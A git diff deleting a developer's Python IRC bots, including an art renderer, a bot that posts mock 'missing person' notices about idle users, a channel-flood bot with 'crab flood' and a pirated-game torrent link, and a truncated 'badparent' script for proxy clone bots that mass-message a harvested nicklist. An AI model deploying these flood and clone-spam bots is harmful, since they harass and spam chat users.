diff --git a/irc/ascii2png.py b/irc/ascii2png.py
@@ -1,166 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-# Scroll IRC Art Bot - Developed by acidvegas in Python (https://acid.vegas/scroll)
-# ascii2png.py
-
-'''
-Credits to VXP for making the original "pngbot" script (https://github.com/lalbornoz/MiRCARTools)
-'''
-
-import os
-import urllib.request
-
-from PIL import Image, ImageDraw, ImageFont
-
-def flip_cell_state(cellState, bit):
- if cellState & bit:
- return cellState & ~bit
- else:
- return cellState | bit
-
-def parse_char(colourSpec, curColours):
- if len(colourSpec) > 0:
- colourSpec = colourSpec.split(',')
- if len(colourSpec) == 2 and len(colourSpec[1]) > 0:
- return (int(colourSpec[0] or curColours[0]), int(colourSpec[1]))
- elif len(colourSpec) == 1 or len(colourSpec[1]) == 0:
- return (int(colourSpec[0]), curColours[1])
- else:
- return (15, 1)
-
-def ascii_png(url):
- text_file = os.path.join('data','temp.txt')
- if os.path.isfile(text_file):
- os.remove(text_file)
- urllib.request.urlretrieve(url, text_file)
- data = open(text_file)
- inCurColourSpec = ''
- inCurRow = -1
- inLine = data.readline()
- inSize = [0, 0]
- inMaxCols = 0
- outMap = []
- while inLine:
- inCellState = 0x00
- inParseState = 1
- inCurCol = 0
- inMaxCol = len(inLine)
- inCurColourDigits = 0
- inCurColours = (15, 1)
- inCurColourSpec = ''
- inCurRow += 1
- outMap.append([])
- inRowCols = 0
- inSize[1] += 1
- while inCurCol < inMaxCol:
- inChar = inLine[inCurCol]
- if inChar in set('\r\n'):
- inCurCol += 1
- elif inParseState == 1:
- inCurCol += 1
- if inChar == '':
- inCellState = flip_cell_state(inCellState, 0x01)
- elif inChar == '':
- inParseState = 2
- elif inChar == '':
- inCellState = flip_cell_state(inCellState, 0x02)
- elif inChar == '':
- inCellState |= 0x00
- inCurColours = (15, 1)
- elif inChar == '':
- inCurColours = (inCurColours[1], inCurColours[0])
- elif inChar == '':
- inCellState = flip_cell_state(inCellState, 0x04)
- else:
- inRowCols += 1
- outMap[inCurRow].append([*inCurColours, inCellState, inChar])
- elif inParseState == 2 or inParseState == 3:
- if inChar == ',' and inParseState == 2:
- if (inCurCol + 1) < inMaxCol and not inLine[inCurCol + 1] in set('0123456789'):
- inCurColours = parse_char(inCurColourSpec, inCurColours)
- inCurColourDigits = 0
- inCurColourSpec = ''
- inParseState = 1
- else:
- inCurCol += 1
- inCurColourDigits = 0
- inCurColourSpec += inChar
- inParseState = 3
- elif inChar in set('0123456789') and inCurColourDigits == 0:
- inCurCol += 1
- inCurColourDigits += 1
- inCurColourSpec += inChar
- elif inChar in set('0123456789') and inCurColourDigits == 1 and inCurColourSpec[-1] == '0':
- inCurCol += 1
- inCurColourDigits += 1
- inCurColourSpec += inChar
- elif inChar in set('012345') and inCurColourDigits == 1 and inCurColourSpec[-1] == '1':
- inCurCol += 1
- inCurColourDigits += 1
- inCurColourSpec += inChar
- else:
- inCurColours = parse_char(inCurColourSpec, inCurColours)
- inCurColourDigits = 0
- inCurColourSpec = ''
- inParseState = 1
- inMaxCols = max(inMaxCols, inRowCols)
- inLine = data.readline()
- inSize[0] = inMaxCols
- canvas_data = outMap
- numRowCols = 0
- for numRow in range(len(outMap)):
- numRowCols = max(numRowCols, len(outMap[numRow]))
- for numRow in range(len(outMap)):
- if len(outMap[numRow]) != numRowCols:
- for numColOff in range(numRowCols - len(outMap[numRow])):
- outMap[numRow].append([1,1,0,' '])
- outMap[numRow].insert(0,[1,1,0,' '])
- outMap[numRow].append([1,1,0,' '])
- outMap.insert(0,[[1,1,0,' ']] * len(outMap[0]))
- outMap.append([[1,1,0,' ']] * len(outMap[0]))
- inCanvasMap = outMap
- outImgFont = ImageFont.truetype(os.path.join('data','DejaVuSansMono.ttf'), 11)
- outImgFontSize = [*outImgFont.getsize(' ')]
- outImgFontSize[1] += 3
- ColorsBold = [[255,255,255],[85,85,85],[85,85,255],[85,255,85],[255,85,85],[255,85,85],[255,85,255],[255,255,85],[255,255,85],[85,255,85],[85,255,255],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[255,255,255]]
- ColorsNormal = [[255,255,255],[0,0,0],[0,0,187],[0,187,0],[255,85,85],[187,0,0],[187,0,187],[187,187,0],[255,255,85],[85,255,85],[0,187,187],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[187,187,187]]
- inSize = (len(inCanvasMap[0]), len(inCanvasMap))
- outSize = [a*b for a,b in zip(inSize, outImgFontSize)]
- outCurPos = [0, 0]
- outImg = Image.new('RGBA', outSize, (*ColorsNormal[1], 255))
- outImgDraw = ImageDraw.Draw(outImg)
- for inCurRow in range(len(inCanvasMap)):
- for inCurCol in range(len(inCanvasMap[inCurRow])):
- inCurCell = inCanvasMap[inCurRow][inCurCol]
- outColours = [0, 0]
- if inCurCell[2] & 0x01:
- if inCurCell[3] != ' ':
- if inCurCell[3] == '█':
- outColours[1] = ColorsNormal[inCurCell[0]]
- else:
- outColours[0] = ColorsBold[inCurCell[0]]
- outColours[1] = ColorsNormal[inCurCell[1]]
- else:
- outColours[1] = ColorsNormal[inCurCell[1]]
- else:
- if inCurCell[3] != ' ':
- if inCurCell[3] == '█':
- outColours[1] = ColorsNormal[inCurCell[0]]
- else:
- outColours[0] = ColorsNormal[inCurCell[0]]
- outColours[1] = ColorsNormal[inCurCell[1]]
- else:
- outColours[1] = ColorsNormal[inCurCell[1]]
- outImgDraw.rectangle((*outCurPos,outCurPos[0] + outImgFontSize[0], outCurPos[1] + outImgFontSize[1]), fill=(*outColours[1], 255))
- if not inCurCell[3] in ' █' and outColours[0] != outColours[1]:
- outImgDraw.text(outCurPos,inCurCell[3], (*outColours[0], 255), outImgFont)
- if inCurCell[2] & 0x04:
- outColours[0] = ColorsNormal[inCurCell[0]]
- outImgDraw.line(xy=(outCurPos[0], outCurPos[1] + (outImgFontSize[1] - 2), outCurPos[0] + outImgFontSize[0], outCurPos[1] + (outImgFontSize[1] - 2)), fill=(*outColours[0], 255))
- outCurPos[0] += outImgFontSize[0]
- outCurPos[0] = 0
- outCurPos[1] += outImgFontSize[1]
- out_file = os.path.join('data','temp.png')
- if os.path.isfile(out_file):
- os.remove(out_file)
- outImg.save(out_file)
-\ No newline at end of file
diff --git a/irc/bots/amber.py b/irc/bots/amber.py
@@ -1,132 +0,0 @@
-#!/usr/bin/env python
-# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/random)
-
-import asyncio
-import random
-import ssl
-import textwrap
-
-def ascii(nick):
- age = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
- height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
- weight = '{0!s}LBS'.format(random.randint(90,500)) # >200 = (FNO)
- eyes = random.choice(['BLUE','BROWN','GREEN'])
- return textwrap.dedent(f'''1,4
- 1,4 1,8^^^^^^1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
- 1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
- 1,4 1,8<0,2*CFLC*1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
- 1,4 1,8<0,2 **** 1,8>1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
- 1,4 1,8VVVVVV1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4 1,1 1,4
- 1,4
- 1,1
- 1,0
- 1,0
- 1,0 1,1 1,0
- 1,0 1,1 1,10 1,1 1,0 12NAME 1: {nick.ljust(16)}
- 1,0 1,1 1,10 5,7,;',;',,5,10 1 1,1 1,0
- 1,0 1,1 1,10 5,7.;'. ( _5,10 1 1,1 1,0 12 AGE 1: {age.ljust(16)}
- 1,0 1,1 1,10 5,7.1@5;;1 0O O 1,10 1,1 1,0
- 1,0 1,1 1,10 5,7.1 5; 1 > 1,10 1,1 1,0 12 HEIGHT1 : {height.ljust(16)}
- 1,0 1,1 1,10 5,7;1 5 ;;;;5,10 1 1,1 1,0
- 1,0 1,1 1,10 1,7 1,1___1,10 1,6\ 1,10 1,1 1,0 12 WEIGHT1 : {weight.ljust(16)}
- 1,0 1,1 1,7 1,10 1,6 1,7 1,10 1,1 1,0
- 1,0 1,1 1,7 1,10 1,7 1,10 1,1 1,0 12EYES 1 : {eyes.ljust(16)}
- 1,0 1,1 1,0
- 1,0
- 1,0 Missing from #superbowl, SuperNETs since 2007
- 1,0
- 1,0 ANY INFORMATION REGARDING THE WHERE-ABOUTS OF
- 1,0 THIS CHATTER SHOULD REPORT IT TO THE OFFICAL
- 1,0 CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.
- 1,0
- 1,0 1-800-5MISSING1 missing@cflc.gov
- 1,0 ''')
-
-def ssl_ctx():
- ctx = ssl.create_default_context()
- ctx.check_hostname = False
- ctx.verify_mode = ssl.CERT_NONE
- return ctx
-
-class IRC:
- def __init__(self):
- self.options = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
- self.reader = None
- self.writer = None
- self.names = {'found':list(), 'idle':list()}
- self.scanning = False
- self.looping = False
-
- def _event_names(self, names):
- if self.scanning:
- for name in names:
- if name[:1] in '~!@%&+:':
- name = name[1:]
- if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
- self.names['found'].append(name)
-
- async def _event_end_of_names(self):
- self.scanning = False
- for name in self.names['found']:
- self._raw(f'WHOIS {name} {name}') # Have to double to nick to see far-connected idle times? Weird...
- await asyncio.sleep(2)
- if self.names['idle']:
- target = random.choice(self.names['idle'])
- for line in ascii(target).split('\n'):
- self._raw(f'PRIVMSG #superbowl :{line}')
- self._raw(f'PRIVMSG {target} :{line}')
- self.names = {'found':list(), 'idle':list()}
-
- async def _loop(self):
- while self.looping:
- if not self.scanning:
- self.scanning = True
- self._raw('NAMES #superbowl')
- await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
-
- def _raw(self, data):
- self.writer.write(data[:510].encode('utf-8') + b'\r\n')
-
- async def _connect(self):
- try:
- self.reader, self.writer = await asyncio.open_connection(**self.options)
- self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
- self._raw('NICK AMBERALERT')
- except Exception as ex:
- print(f'[!] - Failed to connect to IRC server! ({ex!s})')
- else:
- while not self.reader.at_eof():
- line = await self.reader.readline()
- line = line.decode('utf-8').strip()
- print('[~] - '+line)
- args = line.split()
- if args[0] == 'PING':
- self._raw('PONG ' + args[1][1:])
- elif args[1] == '001': # RPL_WELCOME
- self._raw('MODE AMBERALERT +BDd')
- self._raw('PRIVMSG NickServ IDENTIFY AMBERALERT CHANGEME')
- await asyncio.sleep(3)
- self._raw('JOIN #superbowl')
- elif args[1] == '353' and len(args) >= 6: # RPL_NAMREPLY
- chan = args[4]
- if chan == '#superbowl':
- names = ' '.join(args[5:])[2:].split()
- self._event_names(names)
- elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
- chan = args[3]
- if chan == '#superbowl':
- if self.scanning:
- asyncio.create_task(self._event_end_of_names())
- elif not self.looping:
- self.looping = True
- asyncio.create_task(self._loop())
- elif args[1] == '317' and len(args) >= 5: # RPL_WHOISIDLE
- nick = args[3]
- idle = args[4]
- if int(idle) >= 604800: # 1W
- self.names['idle'].append(nick)
-
-# Start
-if __name__ == '__main__':
- Bot = IRC()
- asyncio.run(Bot._connect())
-\ No newline at end of file
diff --git a/irc/bots/anythinggoes/anythinggoes.py b/irc/bots/anythinggoes/anythinggoes.py
@@ -1,269 +0,0 @@
-# -*- coding: utf-8 -*-
-#!/usr/bin/env python
-# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-import random,socket,ssl,threading,time
-
-# Config
-admin_ident = 'acidvegas!*@*'
-channel = '#anythinggoes'
-nickserv_password = 'CHANGEME'
-operator_password = 'CHANGEME'
-throttle_msg = 0.15
-
-# Formatting Control Characters / Color Codes
-bold = '\x02'
-italic = '\x1D'
-underline = '\x1F'
-reverse = '\x16'
-reset = '\x0f'
-white = '00'
-black = '01'
-blue = '02'
-green = '03'
-red = '04'
-brown = '05'
-purple = '06'
-orange = '07'
-yellow = '08'
-light_green = '09'
-cyan = '10'
-light_cyan = '11'
-light_blue = '12'
-pink = '13'
-grey = '14'
-light_grey = '15'
-
-def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
-def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})')
-def get_time():return time.strftime('%I:%M:%S')
-def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size))
-
-class Functions:
- def banana_bomb():
- for i in range(random.randint(5,10)):
- spaces=random.randint(1,120)
- for line in banana_data:
- Bot.sendmsg(channel,' '*spaces+line)
-
- def chat_rain(amount):
- words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk')
- for i in range(amount):
- Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words))
-
- def crab_flood(amount):
- counter=1
- notify=random.randint(100,999)
- if amount>=1000000:
- amount=1000000
- Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red))
- Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red))
- for i in range(amount):
- spaces=random.randint(1,120)
- for line in crab_data:
- Bot.sendmsg(channel,' '*spaces+line)
- counter+=1
- if counter==notify:
- spaces=random.randint(1,120)
- Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red))
- counter=1
-
- def grave(nick):
- length=len(nick)
- Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green)))
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green)))
-
- def rain(word,amount):
- for i in range(amount):
- Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word)
-
- def rope(length):
- spaces=50
- prev=None
- for i in range(length):
- if random.choice((True,False)):
- if prev!='╱':spaces+=1
- char='╲'
- else:
- if prev!='╲':spaces-=1
- char='╱'
- Bot.sendmsg(channel,' '*spaces+char)
- prev=char
- Bot.sendmsg(channel,' '*(spaces-2)+'(;))')
-
- def wave(msg,lines,spaces,hilite):
- rainbow=['04','08','09','11','12','13']
- spacer=15
- spaces+=spacer
- toggle=True
- data=list()
- for i in range(lines):
- if hilite:
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
- Bot.nicks.append(Bot.nicks.pop(0))
- else:
- Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1])))
- rainbow.append(rainbow.pop(0))
- if toggle:spacer+=1
- else:spacer-=1
- if spacer==spaces:toggle=False
- elif spacer==15:toggle=True
-
- def worm(length):
- spacer=random.randint(10,100)
- Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- for i in range(length):
- Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
- if random.choice((True,False)):spacer += 1
- else:spacer-=1
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink)))
- Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink)))
-
-class WormNet(threading.Thread):
- def __init__(self):
- self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- threading.Thread.__init__(self)
- def run(self):
- Bot.wormnet=True
- try:
- self.sock.connect(('wormnet1.team17.com',6667))
- self.raw('PASS ELSILRACLIHP')
- self.raw('USER Username hostname servername :48 0 US 3.7.2.1')
- self.raw('NICK SUPERNETS')
- while True:
- data=self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if len(line.split())>=2):
- Bot.sendmsg_wormnet('raw',cyan,line)
- args=line.split()
- if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.')
- elif args[0]=='PING':self.raw('PONG '+args[1][1:])
- elif args[1]=='001':self.raw('JOIN '+channel)
- elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!')
- except (UnicodeDecodeError,UnicodeEncodeError):pass
- except Exception as ex:
- Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex)
- self.sock.close()
- Bot.wormnet=False
- Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!')
- def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
- def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}')
-
-class IRC(object):
- def __init__(self):
- self.nicks=list()
- self.echo=False
- self.sock=None
- self.wormnet=False
-
- def connect(self):
- try:
- self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- self.sock.connect(('irc.supernets.org',6667))
- self.raw(f'USER THEG 0 * :YOU LOST THE GAME')
- self.raw('NICK THEGAME')
- while True:
- data = self.sock.recv(1024).decode('utf-8')
- print(data)
- for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
- print(f'{get_time()} | [~] - {line}')
- args = line.split()
- if args[0]=='PING':
- self.raw('PONG '+args[1][1:])
- elif args[1]=='001':
- self.raw('MODE THEGAME +BDd')
- self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password)
- self.raw(f'OPER thegame {operator_password}')
- self.raw('JOIN '+channel)
- elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99)))
- elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split()
- elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red)))
- elif args[1]=='PART' and len(args)>=3:
- self.sendmsg(args[2],color('EMO-PART DETECTED',red))
- self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...')
- elif args[1]=='PRIVMSG' and len(args)>=4:
- ident=args[0][1:]
- nick=args[0].split('!')[0][1:]
- chan=args[2]
- msg= ' '.join(args[3:])[1:]
- if chan==channel:self.event_message(ident,nick,chan,msg)
- elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:])
- except(UnicodeDecodeError,UnicodeEncodeError):pass
- except Exception as ex:
- print(ex)
- self.sock.close()
- time.sleep(15)
- self.connect()
-
- def event_message(self,ident,nick,chan,msg):
- args=msg.split()
- if msg[:1]=='!':
- if msg=='!bananabomb':Functions.banana_bomb()
- elif msg=='!crate':
- for line in crate_data:self.sendmsg(channel,line)
- elif msg=='!echo':
- self.echo=False if self.echo else True
- elif msg=='refresh':
- self.nicks=list()
- self.raw('NAMES #anythinggoes')
- elif msg=='!wormnet':WORMS.start()
- elif msg=='!worms':
- for line in worms_data:self.sendmsg(channel, line)
- elif len(args)==2:
- if args[1].isdigit():
- amount=int(args[1])
- if args[0]=='!chatrain':
- if amount<=100 or ident==admin_ident:Functions.chat_rain(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif msg.startswith('!crabflood'):
- if amount<=10 or ident==admin_ident:Functions.crab_flood(amount)
- else:self.sendmsg(chan,'Max: 10')
- elif msg.startswith('!rope'):
- if amount<=100 or ident==admin_ident:Functions.rope(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif msg.startswith('!worm'):
- if amount<=100 or ident==admin_ident:Functions.worm(amount)
- else:self.sendmsg(chan,'Max: 100')
- elif args[0]=='!rain' and len(args)>=3:
- amount=args[1]
- data=' '.join(args[2:])
- if args[1].isdigit():
- if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
- else:self.sendmsg(chan,'Max: 100')
- elif args[0] in ('!wave','!wavehl') and len(args)>=4:
- lines =args[1]
- spaces=args[2]
- data=' '.join(args[3:])
- if lines.isdigit() and spaces.isdigit():
- if int(lines)<=100 or ident==admin_ident:
- if args[0]=='!wave':
- Functions.wave(data,int(lines),int(spaces),False)
- else:
- Functions.wave(data,int(lines),int(spaces),True)
- else:self.sendmsg(chan,'Max: 100')
- elif self.echo:self.sendmsg(chan,msg)
-
- def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
- def sendmsg(self,target,msg):
- time.sleep(throttle_msg)
- self.raw(f'PRIVMSG {target} :{msg}')
- def sendmsg_wormnet(self,title,title_color,msg,extra=None):
- if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
- else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
-
-# Main
-banana_data=open('data/banana.txt').readlines()
-crab_data=open('data/crab.txt').readlines()
-crate_data=open('data/crate.txt').readlines()
-worms_data=open('data/worms.txt').readlines()
-Bot=IRC()
-WORMS=WormNet()
-Bot.connect()
diff --git a/irc/bots/anythinggoes/data/banana.txt b/irc/bots/anythinggoes/data/banana.txt
@@ -1,4 +0,0 @@
- 8". ,#
- 8\ `-._____,-'=/
- 8`._ ----- _,'
- 8`-----'
diff --git a/irc/bots/anythinggoes/data/crab.txt b/irc/bots/anythinggoes/data/crab.txt
@@ -1,10 +0,0 @@
- , ,
- /(_, ,_)\
- \ _/ \_ /
- // \\
- \\ (@)(@) //
- \'=\"==\"='/
- ,===/ \===,
-\",===\ /===,\"
-\" ,==='------'===, \"
- \" \"
diff --git a/irc/bots/anythinggoes/data/crate.txt b/irc/bots/anythinggoes/data/crate.txt
@@ -1,11 +0,0 @@
-7,7
-7,7 7,2 7,7 7,4 7,7 7,2 7,7
-5,7 5,2 5,7 7 7,4 7,7 7,4 7,7 7,2 7,7
-1,7|||5|1,5|1,7|||7,4 1,7|||1,5|7,4 1,7||1,5|1,7|||||
-1,7|||5|1,5|1,7|||1,5|1,7|||7,4 1,7|||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7|||||
-1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
-7,7 7,2 7,7 7,4 7,7 7,2 7,7
-7,7 7,2 7,7 7,2 7,7
-7,7
-\ No newline at end of file
diff --git a/irc/bots/anythinggoes/data/worms.txt b/irc/bots/anythinggoes/data/worms.txt
@@ -1,22 +0,0 @@
-4,1Worms Armageddon 0
-0,1
-0,1[13Installation & Setup0]
-0,011. Torrent & install Worms Armageddon
-0,1 14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0
-0,1
-0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.
-0,1 14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0
-0,1
-0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.
-0,1
-0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
-0,1
-0,1[13Useful Resources0]
-14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0
-14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0
-14,1•0 Mod Pack 12https://www.pyrex.pw/files/worms/worms-mods.zip0
-14,1•0 Worms Wiki 12http://worms2d.info/Worms_Armageddon0
-0,1 12 0
-0,1[13Credits0]
-0,1 14-0 TEAM WORMSEC OK
-0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
diff --git a/irc/bots/badparent.py b/irc/bots/badparent.py
@@ -1,302 +0,0 @@
-#!/usr/bin/env python
-# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-# badparent.py
-
-'''
-The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
-The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
-Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
-'''
-
-import argparse
-import concurrent.futures
-import os
-import random
-import ssl
-import socket
-import string
-import sys
-import threading
-import time
-
-server = 'irc.server.com'
-port = 6667
-nickname = 'BIGDADDY'
-username = 'dad'
-realname = 'I am horrible...'
-
-def alert(msg):
- print(f'{get_time()} | [+] - {msg}')
-
-def debug(msg):
- print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason=None):
- print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
-
-def error_exit(msg):
- raise SystemExit(f'{get_time()} | [!] - {msg}')
-
-def get_time():
- return time.strftime('%I:%M:%S')
-
-def random_str(size):
- return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-def unicode():
- msg = ''
- for i in range(random.randint(400,450)):
- msg += chr(random.randint(0x1000, 0x3000))
- return msg
-
-
-
-
-class parent(object):
- def __init__(self):
- self.nicklist = list()
- self.sock = None
-
- def connect(self):
- try:
- self.sock = socket.socket()
- self.sock.connect((server, port))
- self.raw(f'USER {username} 0 * :{realname}')
- self.raw('NICK ' + nickname)
- except socket.error as ex:
- error('Failed to connect to IRC server.', ex)
- self.event_disconnect()
- else:
- self.listen()
-
- def event_connect(self):
- if config.login.nickserv:
- self.identify(config.ident.nickname, config.login.nickserv)
- self.join_channel(config.connection.channel, config.connection.key)
-
- def event_disconnect(self):
- error('The parent bot has disconected!')
- self.sock.close()
-
- def event_end_of_names(self, chan):
- if self.nicklist:
- alert(f'Found {len(self.nicklist)} nicks in channel.')
- threading.Thread(target=load_children).start()
- else:
- error('Failed to parse nicklist from channel.')
-
- def event_join(self, nick, chan):
- if chan == config.connection.channel:
- if nick not in self.nicklist:
- self.nicklist.append(nick)
-
- def event_kick(self, nick, chan, kicked):
- if chan == config.connection.channel:
- if kicked == config.ident.nickname:
- time.sleep(3)
- self.join(self.chan, self.key)
-
- def event_names(self, chan, names):
- if chan == config.connection.channel:
- for name in names:
- if name[:1] in '~!@%&+:':
- name = name[1:]
- if name != config.ident.nickname and name not in self.nicklist:
- self.nicklist.append(name)
-
- def event_nick(self, nick, new):
- if nick in self.nicklist:
- self.nicklist.remove(nick)
- self.nicklist.append(new)
-
- def event_nick_in_use(self):
- self.raw('NICK ' + random_str(random.randint(4,7)))
-
- def event_quit(self, nick):
- if nick in self.nicklist:
- self.nicklist.remove(nick)
-
- def handle_events(self, data):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- self.event_connect()
- elif args[1] == '433':
